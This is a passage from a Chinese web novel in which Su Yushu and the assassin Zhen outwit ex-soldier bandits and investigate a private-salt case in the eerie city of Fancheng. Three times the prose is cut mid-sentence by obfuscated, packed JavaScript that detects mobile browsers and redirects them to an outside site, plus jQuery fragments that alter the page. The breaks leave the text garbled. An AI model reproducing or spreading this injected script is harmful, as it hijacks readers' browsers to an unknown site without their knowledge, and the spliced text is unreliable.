苏玉淑用力把她的手按了下去,脸上却堆满讨好的笑容:“这马可以给你们,不过……” “不过什么?再啰嗦就把你们两个都剁了喂狗!” 她咂了咂嘴,一副混混模样:“既然你们都看得出这是好马,那这马肯定有不一般之处。实不相瞒,这马的鼻子是我们家驯马师傅专门调教过的,灵得很。你们以为我们为什么要跑到这穷乡僻壤来?看见远处那片林子没,那里头可有宝贝,一般人可找不到。” 为首的男人哐当一声坐在条凳上,顺势翘起一只脚:“什么宝贝?我怎么没听说过?” “那你就别问我了,只能怪你自己消息不够灵通。”她大大咧咧地把凳子拉回来坐下,“那宝贝可比这两匹马值钱多了,要是你态度好点,别打我这两匹马的主意……我也不是不能分你一些,多个朋友多条路嘛。” 几人面面相觑,见苏玉淑一副胸有成竹的样子,还有她那张扬自信的派头,他们一群男人似乎也没什么好怕的。 “我便信你一次。若有半句假话,我定要把你们两个粉身碎骨!” “大哥!” “啧。”他狠狠拍开小弟拉他的手,一把揪住他的领子低声说:“怕什么!要是有宝贝更好,没有就把他俩抢了,再说还有这两匹宝马呢!好不容易遇到这么个肥羊,你还想放走不成?” 他紧接着转过头:“你们两个,前面带路!” 苏玉淑慢悠悠地捧起面前的茶杯:“急什么?我们还没吃喝,怎么去?” “我管得了你这些那些的?” “哼。你不管我们也就罢了,我这两匹马还没歇好呢。到时候找不见东西,我看你怎么办。” 男人回头一看,马儿确实还在慢悠悠地嚼着草料进食。 “再说了,你着急也没用。你瞧瞧这日头,马上就要变得毒辣起来,那林子里的雾肯定还没散呢。暂且等等吧,能出发的时候我自然会叫你。” 说罢,她上前将大姐扶了起来。大姐刚刚遭受重击,又受到了极大的惊吓,眼神中满是惶恐,结结巴巴地说:“我……我……” “没事,没事。”苏玉淑用力握了握她的手背,问道,“还能走动吗?” “能……” “那就麻烦您再帮我们拿些干粮来,我们路上带着吃。还有盐巴,也给我装一小袋。”说着,她毫不避讳地往大姐手里塞了一块碎银,“拿着花吧。” 几个男人的眼睛都亮了起来,看来这人真没骗他们,还是个出手阔绰的主儿,那林子里有宝贝的事儿想来也是真的了! 大姐这才如梦初醒般,赶忙朝屋内走去。最近这世道实在是不太平,大白天的居然有人能拉帮结伙地做出这种事来。这两个人看上去也不傻,怎么还自己把有宝贝的事儿说出来了呢……这可真是……唉。 锅沿儿上干焦的米皮在沸腾的热气中一颤一颤的,狭小的厨房里弥漫着柴火的焦糊味。她手里握着铁勺,心情久久不能平静,千言万语都化作了一声微不足道的叹息: “想过一天安稳日子怎么就这么难呢。” 趁着妇人还在收拾东西,苏玉淑眼睛一转,鸩一看便知道她又想出了什么鬼主意。 果然,她向前探了探身子,嬉皮笑脸地打探道:“几位大哥都是什么来头啊?怎么跑到这穷地方来做发财的生意呢。我先自报家门,小人姓林,从樊城来。” 男人咧嘴一笑,说道:“樊城?那儿最近可不太平啊,小兄弟有两下子。看你挺实在的,实不相瞒,我们几个是从战场上退下来的。要是敢骗我们……有你们好受的。” 苏玉淑看向鸩,鸩轻轻摇了摇头。樊城近来并没有什么传闻,这里与北境更是相距千里,他们说话也没有本地口音,可当兵的来到此地又是所为何事呢? “哟,原来是打仗的当兵的啊。那可是军爷呀。”苏玉淑拱手作揖,说道,“几位军爷到樊城发财啊?给兄弟也讲讲呗!” “呵。什么军爷不军爷的。”男人一口浓痰啐到地上,“看你比我小,叫我一声陈爷就行了。这樊城看着有钱,实际上比不上师城。既没什么特产,也没什么生意,全靠上面一句话来决定。” “陈爷,我们还要去樊城做买卖呢,您多给我们透露点儿,况且我们也分您宝贝了不是。” 看着她那谄媚的模样,姓陈的心中涌起一股满足感,那是平日里从未有过的得意:“小兄弟,看你是个老实人,我才跟你多说几句。你怕是还不知道吧,这樊城要变天啦!” “什么什么!” 苏玉淑可谓是全力捧场,一则是想套取更多消息,二则……她着实爱听。 “你们这些做生意的,眼里只有钱,上面的事儿你们哪能知晓。看在宝贝的份上,不妨告诉你,再过一阵子就别往樊城去了,只怕是有去无回!” “啊?有这么严重吗?” “那可不是。哼,你知道吗,咱们这淮南东路的制置使马上就要到樊城了!” “他不是一直在师城吗?怎么要去樊城了?哎呀呀……”她佯装恼怒,“这兵头子到了哪儿,哪儿的生意可就难做喽。” “你以为呢。”他眼神瞥向一旁畏畏缩缩的大姐,厉声说道:“赶紧把东西都拿过来,赶着赶路呢!” “是,是……”大姐小心翼翼地将一个粗布包裹放到鸩的怀里,“你们要的东西。我去看看马儿……您和我一起去吧!看看吃了多少饲料,还有没有要添的!” 鸩领会了她急切的目光,说道:“好。” 苏玉淑还在酒桌上和那男人套近乎,鸩借着给马刷毛的机会,侧身问道:“何事?” “我……姑,姑娘啊,我看得出来你们是两个姑娘家……”大姐压低声音,生怕被人听见,“听我的,你们赶紧跑,这里是村里,一会儿男人们都从田里回来了就没事了。你们骑上马快跑,他们追不上你们的……” 鸩有一瞬间的惊愕。即便在林长亭的麾下,她也是数一数二的死士,其能力无人敢质疑,更无人敢挑衅。 被如此弱小的人关心,好像还是头一回。 “你别害怕。”她学着苏玉淑的模样笑了笑,竟也如春日化水般温和,“我们会没事的。” “不行!”大姐的声音带着一丝哭腔,“那可不行!两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482568|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘家,万一……万一……听我的,快走,我没事的,你们快走吧!我女儿……我女儿要是活着,也该和你们差不多高了……” 一股麻木感从鸩的四肢百骸向胸口蔓延而来,她憋闷、愤怒、震惊。妇人的话如同惊雷一般击中了她的心底,她不愿知道她的女儿为何早亡,一种没由来的悲悯席卷了鸩的心头。 在她的耳边,那句低语萦绕不去—— 想过一天安稳日子怎么就这么难呢。 快二十年了,鸩终于开始明白了。 为什么少爷要从京城历经波折地跑到这种地方来,为什么他历经生死也不肯退缩,为什么他要在朝堂之上据理力争,又为什么选中了苏玉淑。 他们是一类人。 她也要成为这样的人。 鸩轻轻握了握大姐的手,粗糙,遍布细小的伤痕,却很温暖。这一次她的笑容是真心的: “我们不会有事的,你放心。” 说罢,她决绝地大步向后走去:“马好了,可以启程!” 苏玉淑立马一蹦三尺高:“走!” “哎,你……你这丫头……” 鸩没再多说,她只是往大姐手里又塞了一块碎银。不是玉淑给的,而是她自己的一点小小积蓄。 朴素的心意就用朴素的方式来回答。 这一路上,苏鸩二人骑马前行,一群男人就在后面一溜小跑地跟着。或许是久未经沙场,几人看上去气喘吁吁的很是狼狈,但普通人绝跟不了这么长一段路,看来他们倒也是所言不虚。 没过多久,姓陈的就把她俩喊住: “你俩,你俩骑一匹马!,给,给我一匹!” “那不行。”苏玉淑轻笑道,“你又不知道宝贝在哪儿,你把马骑跑了怎么办。” “那没,没有的事儿。来都来了,还能,能空着手,回啊。”男人连连摆手,上气不接下气的样子和刚刚欺软怕硬的德行简直判若两人。 见两人不为所动,他索性上手拽马:“我再给你们说点制置使的事儿,这总行了吧!” 苏玉淑轻抬眉梢,鸩轻轻一跃,翻到了她的身后。天晓得她刚才费了多大的劲,才强忍着没剁掉男人伸过来的那只手。她头一回和别人共乘一匹马,近得几乎能闻到苏玉淑发丝间那缕若有若无的香气。鸩赶忙扭过头去,不再看人。 男人得偿所愿上了马。这匹马浑身漆黑,肌肉健硕,鬃毛浓密,骨架宽大,骑上去更是温顺又舒适。 果然赚到了。 他惬意地松了松腿,这才慢悠悠地开口:“这制置使啊,你们看着是官不大,但是权力可大了去了。朝廷一直要减兵削权,这武将手里的东西就这么多,可是架不住人家手里有人呀!再加上钱……你们可不知道他搜刮了多少,路府州县没有一个是放过的。看样子你俩没去过师城吧?告诉你们一个秘密,那师城里面可有他的人,专门替他做些人牙子的皮肉生意,当真是不少钱呢!” “还有呢?那和樊城又有什么关系啊?” “说你俩傻,还真就不开窍。”他拿腔作势道,“这人一旦手里有了钱,又有千千万万的人供他驱使,那自然是贪心不足蛇吞象。不然你以为咱们怎么会跑到这破地方来?” “还是没明白。” “你怎么这么蠢,到底会不会跑商啊?不当兵了我们也得糊口啊!有人跟我们说这儿招募老兵,那肯定是制置使大人在暗中招兵买马,所以我们才来投奔。只可惜……” “可惜什么?” 只可惜他手下的人有眼无珠,竟看不出我们哥儿几个都是有大本事的人!居然敢不把老子放在眼里……我呸!依我看,你们干脆也带上些钱财去投奔算了,要是真能谋得个一官半职,还能拉老哥哥我一把,嘿嘿嘿…… 苏玉淑瞧了瞧小道两旁的树,影子已被拉得老长老长。斑驳诡谲的光斑映照在鸩的脸上,格外的美。 想来也差不多了。 “陈爷,您对这一带熟门熟路,不知离樊城还有多远呐?” 一句“陈爷”叫得他愈发得意起来:“你们要是乐意走小道,再有两三个时辰也就到了。怎么,是快到藏着大宝贝的地方了?在哪儿呢!快带我们去!” “快到了。” 苏玉淑转过身,冲着鸩甜甜一笑。 39. 第三十九章 “都收拾妥当了?” “嗯。”鸩点了点头,“我处理得很干净。” 苏玉淑点点头,嘴角挂着一抹若有若无的笑意:“还真得感谢这几个自投罗网的蠢货,不然我们也不会得到如此有用的消息。” “我还以为你会当场发作呢。”鸩嫌弃地掸了掸马鞍,“没想到你能忍耐到现在。” “当场发作自然不难。可这里并非师城,谁来为我收拾残局呢?倒不如引到远些的地方,对谁来说都是个清净。” 她说话时的神情让鸩感到无比熟悉。她那副高傲且冰冷自信的模样,倒是有几分像少爷,刚刚那一瞬间,她仿佛看到了林长亭的脸。 这两个人还真是…… “我们赶紧赶路吧。这是那姓陈的所指的小路,我刚看了地图,咱们再往北走上几十里地就快到了。入夜前赶到,还能好好休整一天,岂不美哉?” 二人策马前行,身影很快消失在忽明忽暗的森林中。略带泥土味儿的空气从耳边掠过,就连衣角都沾染了松木的气息。若不是偶遇这几个不知死活的家伙,只怕她们还要在烈日下暴晒许久。 和这边惬意的江湖情形不同,苏玉鸿和林长亭可就没那么舒坦了。由于运送的是“官盐”,走的这官道虽然安全平坦,但可不像山间小路那样有阴凉和泉水。一行人在这夏日里被晒得汗流浃背,身上的衣服湿了又干、干了又湿,粘在身上又馊又硬,活像一层糊了盐的盔甲。 苏玉鸿虽然从小就跑商,但这样难走的路他确实经历得不多。距离樊城大概还有一日的路程,他骑马骑得腰酸背痛,忍不住驱马靠近林长亭: “咱俩下去走走吧。” 林长亭深吸一口气,在这方面,这兄妹俩还真是一脉相承。他环顾四周,马队中半数人都透露出些许疲态,特别是刘掌柜他们几个。想来此时稍稍放松一下也无妨,他勒住马,轻轻点了点头:“我们去后面。” 苏玉鸿绽放出比阳光还要灿烂的笑容:“好!” 他立刻翻身下马,刹那间,腰不疼了,腿也不酸了,就连脸上的晒伤似乎都好了。看着他蹦蹦跳跳往后溜走的模样,林长亭无奈地笑了笑。 真是拿他俩没办法。 没过一会儿,他也跟着溜了过去。苏玉鸿不知从哪儿叼了根毛毛草,大大地伸了个懒腰,眯着眼睛望着天空,全无半点大少爷的架子。见林长亭走近,他两眼放光,兴奋不已:“吃不吃糖渍梅子?” “啊?” “我给自己也带了一包,嘿嘿。”他递过油纸包,“不然这一路上光吃干粮,可太苦了。” 梅子酸甜的滋味在口腔中弥漫开来,不知为何,一股纷乱的思念在林长亭的胸口悄然萌生。她在做什么呢?她现在安全吗?会不会又遇到坏人?要是再受伤了怎么办? 真应该多派两个人,把她给我盯紧了…… “小时候,玉淑的零花钱很少。爹娘怕她乱花钱吃坏肚子,总是管着她。每次出门,她都会抱着我的大腿,扯着我的胳膊,一边喊着‘哥哥哥哥’,一边掏我的口袋拿钱去买零嘴吃……哪有一点大家闺秀的样子。” 苏玉鸿的话将他纷杂的思绪拉回了一些,“现在玉淑长大了,也不再围着我转了。她……比我聪慧,比我更适合当一家之主。只是我还是希望她待在家里,哪怕什么都不做,就做我的妹妹就好,我愿意养她一辈子。” “这样她不会真正开心的。” “是啊。”苏玉鸿捏着油纸的手微微用力,“我知道。” “凤凰不该被关在笼子里。师城对她来说……太小了。”林长亭望向天空,强烈的阳光刺得他有些睁不开眼。他半眯着眼,目光中既有几分欣赏,又有几分惆怅,“她应该拥有更好的。” “什么才是更好呢?她是我妹妹,只要她喜欢,那便什么都是好的。师城虽小,但苏家在这里能保她一世安宁。东梁虽大,可若要她冒着风险、提着性命去闯荡,倒不如让她恨我一世,换她一生顺遂。” 林长亭不再言语。嘴里的梅子早已被含得没了滋味,可他却始终舍不得吐掉。或许苏玉鸿说得没错,如今世道之混乱,没人比他更清楚。无论如何,她一个女孩子,待在家里总归更安全些。然而,一想到她那亮晶晶的眼睛、笑起来弯弯的嘴角,还有生气时发狠的模样,林长亭无论如何都说不出“让她在家宅里守上一辈子”这样的话。 那实在太残忍了。 自他第一次留意苏玉淑起,她身上那股生机勃勃的劲头、随心所欲的做派,以及行侠仗义后沾沾自喜的狡黠便深深吸引了他。但他明白,这远远不够,他对她的了解还太少。他不能仅凭一时冲动,就做出关乎她人生的决定,那样对她不公平。 倘若自己能更强大一些,或许…… 不知何时飘来的厚重云朵,恰好挡住了太阳。苏玉鸿眉开眼笑地撞了撞他的胳膊,说道:“等这桩事情了结,我一定要好好摆上一桌。老天爷果然眷顾我们,这天阴了些,赶路也能更快些。” 林长亭附和道:“是啊,我也盼着能快点结束。” 刚才那浓烈的果香,如今已化作淡淡的甜味。林长亭望着旁边半人高的草丛,忽然像想起什么似的,笑了一下。 噗—— 他学着苏玉淑的样子,将果核吐到了路边。 两日后,他们终于抵达樊城。樊城地处内陆,不像师城靠海吃海那般繁华富庶。除了一些常见的农作物,这里并无其他特产,因此在东梁一直是一座毫不起眼的城池。 苏家虽商号众多,却很少涉足此地。樊城虽说不上偏僻,却如同鸡肋,食之无味,弃之可惜。此地居民大多出身农家,为人朴实,但着实穷困。稍贵些的物件便难以售卖,也只有贩盐的生意,才值得来上一趟。 苏玉鸿还是头一回来到这个地方。他虽身体疲惫,脑子却紧张得很。他忍不住扭头去看林长亭,却见他对着自己轻轻摇了摇头。 “少爷,您对这樊城不熟悉,咱们到了安字号后,您先去休息,卸货进库房的事儿交给我们。这后面的事情……” “不急。”苏玉鸿抬了抬下巴,“大家一路舟车劳顿,辛苦了,先歇息一天再收拾也不迟。我想那位大人……也不会如此不近人情吧?” “是,是,令牌在您手上,自然是您说了算……那,那咱们先进城?” 苏玉鸿不再言语,只是策马朝城中走去。 樊城的城门楼一片灰蒙蒙,尽显年久失修的破败之态。即便处于炎炎烈日之下,此地却依旧弥漫着一股冰冷肃杀的气息。守城的士兵瞧见马队,远远地便手持兵器朝着他们走来,喝道:“下马!干什么的!” 刘掌柜赶忙一溜小跑上前,赔着笑脸说道:“兵爷,兵爷,我们是安字号运盐的。这是官盐,这是盐引子,您过目。” 当兵的连头都没抬,冷冷地说:“进去。” “什么?”刘掌柜一时没反应过来。 “老子让你进去!”那当兵的恶狠狠地踢了刘掌柜一脚,骂道,“听不懂人话吗?” “是,是,兵爷您别生气,小的这就走……”刘掌柜吃痛,一瘸一拐地朝着车队跑去。他满心疑惑,怎么也想不明白,往日里三查四看,不给几个银子根本别想通过的城门,今日怎会如此宽松。 “妹夫……”张青刚想开口。 “闭嘴!”刘掌柜厉声喝止了凑过来的张青,“别多嘴!” 一行人就这样在官兵的眼皮子底下悄然走进樊城,除了车轮滚滚的声音和马偶尔的嘶鸣声,四周一片寂静。林长亭心中也生起一丝怀疑,按常理,运输盐、铁、酒等朝廷管控的物品,绝不可能如此轻易放行,就算只是走个流程,也至少要开箱抽检。 可今日为何这般反常? 一种不安的情绪在他心底悄然滋生。 想到调查私盐一案时遭遇的种种状况,还有数月前那数量巨大的运盐规模,对方能在官府的眼皮子底下神不知鬼不觉地偷运私盐,绝非寻常之辈。或许,这里面的水比他想象的还要深,潜藏的危险也比他预料的更多。 苏玉鸿牵着缰绳,怀里的令牌硌得他愈发紧张。进城之前,林长亭特意叮嘱他收好令牌,切记不能随意暴露身份。此刻,他的心跳如战鼓般在胸口回荡,甚至能感觉到冷汗从额头和后背上不断滴落。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498308|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 要是换成玉淑,她现在一定兴奋又期待吧。想到妹妹,苏玉鸿定了定神,抬起头,大步向前走去。 安字号的仓库位于城西,此地偏僻幽静,地价又便宜,因此苏家在此购置了一个大院落,作为平时存放货物的地方。院子足够宽敞,正好供马队的人安置歇息。 张青半靠在箱子上,骂骂咧咧地让刘利给他找个好住处,而刘掌柜则站在门口出神地发呆,一言不发。 就算是个傻子,也能察觉到樊城的气氛不对劲。 林长亭挑选了里面最为偏僻的一间房,确认当下没有风险后便抽身离去。屋内光线昏暗,他立刻找出纸笔写下便笺,将其系于袖箭之上,朝着院外的一棵树上射去。 倘若没有意外,叶英、叶荣他们此刻应该就在不远处。 做完这一切,林长亭的内心终于平静了下来。此刻他无事可做,只能静待回音。屋子里弥漫着一股略带霉味儿的木头香气,这不禁让他回想起儿时的书库。那时候他十分调皮,总是拿着母亲的珍藏在里面四处乱跑,即便有百八十个仆人也阻拦不住他。书架上墨香与纸香混合在一起,熏得他脑袋发晕…… 他就这样伏在案前,沉沉睡去。 率先抵达樊城的苏玉淑此刻已然换上一身女装,她扮作普通人家的小姐,带着鸩在街道上采买物品并四处打听消息。进城时,二人虽遭遇了诸多盘查,但在她的机智应对下,还是有惊无险地进入了城中。刚到樊城,她就感觉这里有些不对劲。 街上的人们都低着头匆匆赶路,即便熟人碰面,也只是尴尬地点点头便匆匆走开。阴沉的天空更增添了几分诡异的氛围,街上大半的铺子都关着门,沿街叫卖的小摊售卖的不是蔬菜瓜果、手工品……而是纸钱。 早在客栈里,她就向掌柜详细打听了樊城的大致情况。樊城的常住人口虽比不上师城,但也绝不是个小地方。城中人口逐渐减少是近半年来的事情,据掌柜说,近来时常听闻家中男丁莫名失踪,连尸骨都找不到。要是家属闹得厉害,官府就会上门帮忙发丧,无一例外。 “大叔,这糖饼怎么卖?” “姑娘,一文钱一个,三文钱给四个。”卖糖饼的大叔看上去身体欠佳,他右脚有些跛,站起身时摇摇晃晃的。 “给我来四个吧。”苏玉淑数出三枚铜钱,轻轻放在他的钱盒子里,“怎么大白天街上人这么少啊?” 大叔语气带着些许惊讶:“姑娘不知道?” 苏玉淑摇摇头:“我来樊城找我姨母,刚到没多久。” “这样啊……姑娘,我多嘴说一句,要是没什么重要的事,见过亲戚就赶紧走吧。” “为什么呀?” “这……这……” 见大叔犹豫,苏玉淑又放了两个铜板进去:“实不相瞒,我姨母说在这里给我找了一门好亲事,想让我到她身边享受天伦之乐。可这家人我从未听说过,要是大叔好心,还请告知一二。” 大叔摆摆手,用粗糙的手捡起铜板放回她手中:“姑娘,找个借口回家吧。这樊城不能嫁,嫁过来要守寡的。” “这又是为什么呢?” “除了我这种身体残疾的,姑娘你见到壮丁了吗?实在是这地方风水不好,不……” “你们在大街上晃悠什么!” 一声呵斥从不远处传来,吓得大叔一个哆嗦,差点摔倒。鸩默默向前走了半步,挡在了苏玉淑身前。 “哦……我记得你。”来人身穿盔甲,迈着大步子走过来,“那天还是我说好话放你进来的。怎么,见到你的小情郎了?” 大叔眼神中闪过一丝震动。 苏玉淑尴尬地笑了笑:“官爷吃不吃糖饼啊?” 来人上下打量了她一番:“哼。你可别怪我没提醒你,没事少上街瞎逛,出了什么事可没人管。” “有官爷在,能出什么事呀。您这么高大威武、正气凛然,这樊城还能有人敢犯上作乱不成?” 一阵风从空旷的街道上吹过,除了她俩,没人再说话。 半晌,士兵艰难地从喉咙里挤出几个字: “别乱说话。早点回家。” 40. 第四十章 “鸩……” “嗯。” 大叔欲言又止的话语,士兵含糊不清的态度,大白天却冷清得近乎凄惨的街道,这樊城的古怪之处实在是太多了。为了不引起他人的注意,两人决定不再继续探查。如今苏家明处树敌,若此时露出破绽可就不妙了。苏玉淑当下便决定和鸩一同返回酒店,离开时她还不忘给了大叔一小块碎银,鸩也跟着添了几钱。 “我们要一直在客栈里待着吗?” 眼见天色渐暗,苏玉淑终究还是按捺不住性子:“今天林长亭他们应该已经到了。” “少爷交代的布置我都已完成。该联络的人、该布下的网都已准备妥当。现在只等时机成熟,大小姐切勿节外生枝,我们还是安静等候为好。” “好吧。” 她撇了撇嘴,其实她早就料到鸩会这么说了。苏玉淑一下子把自己扔到床上,老旧的木头立刻发出了“吱呀”的声响,仿佛在抗议一般。硬邦邦的铺盖让她难以入眠,反倒让她心里涌起了几分兴奋。 按照计划,明日辰时苏玉鸿会带队去交接私盐,而林长亭暗中安排的人手则会包围接头之人,剩下的只需顺藤摸瓜,应该不是什么难事。她们到的第一天,自己累得酣睡时,鸩就已经把消息传递给了探子,相比之下,自己还是差得太远了。 要是有一天,她能和鸩一样厉害就好了。 苏玉淑翻了个身,回想起这段日子的经历,她惊讶地发现自己已经很久没有吵着要当男人了。身为女儿身又如何呢,鸩不就一样厉害吗?男人能做的事她都能做,甚至做得更好。 所以为什么女人就一定要相夫教子、恪守女德,而不能封侯拜相、一步登天呢? 她第一次对自己产生了无比强烈的认同感,和以往截然不同。以往她都是靠着对苏玉鸿的怨恨以及自命不凡的得意才能获得短暂的畅快,可现在不一样了。 苏玉淑能够拯救苏家,苏玉淑也能够变得更强。 可胸中还是有些憋闷。 她咬了咬嘴唇,索性一骨碌爬了起来。鸩坐在圆桌前,不知在思索着什么,苏玉淑凑到跟前,露出一副狡黠的笑容:“咱俩商量个事儿呗。” “大小姐有什么吩咐?” “哎呀。”苏玉淑蹲下身子,拉过她的手,“等私盐案结束以后,你能不能多教我几招啊?我想跟你多学习学习,你看我现在这点本事也干不了什么大事,对吧。” 鸩略微停顿了一下:“这……要听少爷的安排。” “那你呢?你自己想不想教我呀?” 鸩看着她亮晶晶的眸子,一时间竟不知该如何作答。 我?自己的想法吗?她的脑子突然有些混乱,她从未思考过这个问题,也从未有过思考的念头。自从成为杀手后,她的所有行动都只是听从命令。她好像很久都没有在意过自己的想法了,或者说她从来都觉得自己不应该有想法,因为那样是背叛,是不对的。 可自己也是个活生生的人啊。 苏玉淑见她不说话,便识趣地坐好:“那我不为难你就是了。要是哪天你心情好,就偷偷地教我,嘿嘿。” 鸩想要反驳,却哑口无言,只是轻轻点头道:“好。” 天色终于完全暗了下来。在黑夜的笼罩下,樊城愈发寂静,几只夜鹭的哀鸣声格外刺耳。二人静静地燃起蜡烛,那冷掉的糖饼在夜里竟显得出奇美味。苏玉淑不禁开始想念绿萝和石竹做的饭菜,想必她们此刻正守着小厨房叹气,等着自己回家呢。 鸩本就寡言少语,这一下午可把苏玉淑憋坏了。白天街上就没什么人,到了晚上人更少,倒也省了宵禁巡逻的麻烦。 白天都被抓包了,难不成晚上还会被抓? 苏玉淑眼珠一转,一个馊主意涌上心头:“咱俩出去找找林长亭怎么样?” 鸩眉头一皱:“啊?” “我知道他在西郊的仓库,离咱们这儿也没多远,不如趁着夜色去找他,如何?” “不怎么样。”鸩这一刻终于理解了为何有时候少爷提起她就恨得咬牙切齿,“你去了肯定要挨骂的。” “哎呀,林长亭要骂也只骂我呀!” “大小姐,你这是在骄傲什么……” 苏玉淑不由分说地拽起鸩:“走嘛,走嘛!求求你了,鸩,你最好了,就去一趟,我保证按时回来,好不好?求你了……” 鸩被晃得像一棵被风刮过的大葱,她只得无奈地点点头:“走。” 她如愿换上一身黑衣,融入了浓重的夜色之中。樊城的夜晚霜更重些,眼看已经到了入秋时节,温度渐渐降低。苏玉淑只觉得身上湿哒哒的,衣服冷冰冰地贴在身上,难受极了。她跟在鸩的身后,在湿滑的青瓦灰砖上快步前行,偌大的城内只有她们二人的身影,偶尔几盏亮着的灯笼散发着又冷又弱的光。 如同地府的幡。 休息过后,二人步伐极快,没多久便来到了苏家在樊城的仓库。二人趴在墙头上,偷偷往院内张望,只见箱子整整齐齐地盖着厚厚的苫布,堆得像小山一样。再往里的屋子灯火通明,大老远就能听见盐场汉子们喝酒打闹的声音,这里大概是樊城里最热闹的地方了。 “哎,看什么呢?” 还没等苏玉淑反应过来,鸩已经扯着她的领子向后飞去,她眼前闪过一张胡子拉碴、挂着无奈笑容的脸,是正一。 “你再从我背后冒出来,我就杀了你。” 正一摆摆手:“开个玩笑,别生气。你们两个怎么跑到这儿来了?” 鸩没好气地放下苏玉淑:“我还想问你呢。” “我在待命啊。你们是不是偷偷来找少爷的?可有什么要紧事要禀报?” “嘿嘿,有的。”苏玉淑揉了揉脖子,“吓唬人的是你,疼的人可是我!你家少爷人呢?” 正一努努嘴:“往里走,尽头最北边那一间。” 他犹豫了一下,还是叫住了正要往里走的苏玉淑:“少爷今天很累了,你别惹他生气。还有,别被人发现。” “放心吧,我心里有数。” “我和你一起去吧。” “我自己可以的。”她拍了拍鸩的背,“半个时辰我就出来。” 院落的灯光亮得有些过分,陈酒混合着汗臭的味道熏得苏玉淑头皮发紧。还好林长亭住得偏僻,不然她还得想些别的办法才能躲过众人的眼睛。没过多久,她如愿找到了那间僻静又空旷的屋子。 她扒着窗框,小心翼翼地向内窥探。屋里只点着两根蜡烛,微弱的火光让屋子显得朦朦胧胧的。屋内一个人影都没有,她试图把脑袋再往里伸几寸,可狭窄的缝隙根本容不下她查看。 苏玉淑试了几次,除了脑袋蹭得生疼,一无所获。她气得大口喘气,真是怒从心头起,恶向胆边生,苏玉淑一不做二不休,干脆拉开门,大大咧咧地走了进去。 或许是太过专注,她根本没注意到身后草丛里传来的窸窸窣窣的声响。叶荣死死拉住叶英的手,一脸恨铁不成钢的模样。 “哥你别去!” “你疯了?少爷正洗澡呢!她,她这就进去了?” “进去进去呗。”叶荣得意一笑,“少爷就盼着呢,你信不信?” 屋子里昏暗得让她眼睛生疼。苏玉淑实在想不明白,把房间弄得亮堂些不好吗,非要像阴沟里的老鼠一般过日子。从外面看,这屋子普普通通,可里面空间着实不小。她踮起脚尖,悄无声息地往里走去,里间连个鬼影都不见。 可一旁的小隔间里却传来窸窸窣窣的动静。 苏玉淑悄悄凑近,一只手轻轻撩起门帘,一股夹杂着水汽的热浪扑面而来。一道屏风将她的视线完全挡住,可那扑簌簌的水声却清晰地传入耳中。她迈着步子,侧过身绕过屏风,一头浓密的黑发毫无遮挡地映入她的眼帘。 林长亭平日里总穿着深色衣服,看上去像个弱不禁风的书生,可如今看来,他的身形远远超出了苏玉淑的想象。他的脊背挺拔宽广,肌肉在被水浸湿的黑发后若隐若现。 几滴水珠挂在他的肩头上,被热水烫得泛粉的肌肤在氤氲的水汽下别有一番韵味。苏玉淑从未如此仔细地观察过他,从这个角度,她甚至能看到他挺拔的鼻梁和瘦削的下颌。不知为何,她突然替林长亭感到疲惫: “唉。” “苏玉淑!谁让你进来的!”林长亭不用回头都知道是她。他手忙脚乱地扑腾出一个大水花,他慌慌张张地往下坐,“哗啦”一声巨响后,盆里的水少了半盆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505198|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我要杀了叶家那两个小兔崽子!” “害羞什么呀。我还没说什么呢,你这么紧张做什么。”苏玉淑摊开双手,“我什么都没看见,放心吧。” “你!你一个闺阁女子,竟如此胆大妄为!胆大包天!”他又羞又气,情急之下竟拍出水花去打她,“你,你,我要告诉你哥!” “好啊,说了以后别人就知道了,堂堂林大人居然像小女孩儿一样娇羞可爱,还要找哥哥讨公道,这可怎么办哟。” “你!” 他索性直起身子,问道:“苏大小姐不怕我做出些什么吗?” 她轻轻摇了摇头,说道:“你不会的。” 水汽蒸腾而起,如轻纱般裹住二人的灵魂,将他们引入一个如迷雾般氤氲的世界。 林长亭无奈地叹了口气,他实在是拿她毫无办法,一点儿办法都没有。要怪就只能怪自己放松了警惕,以为有叶英和叶荣在,就能安心打个盹儿,可这三个人不知道什么时候就穿进同一条裤子了。 等正事一办完,他非得让他们三个吃些苦头不可。 “你的伤……是怎么回事?”苏玉淑自觉地往后退了两步,扯过一旁的板凳安静地坐下,一双黑亮的眸子直勾勾地盯着他胸口的几道伤疤。 “这都是旧伤了,没什么可说的。” 她并非看不出他有意隐瞒。说实话,她自己也不明白今天为何非要跑到这个地方来。但在见到他的那一刻,心底压抑许久的不安仿佛找到了宣泄的出口,一下子全都消失不见了。她就这么远远地坐在他的对面,哪怕什么都不说,什么都不做,她只想这么静静地待一会儿,一会儿就好。 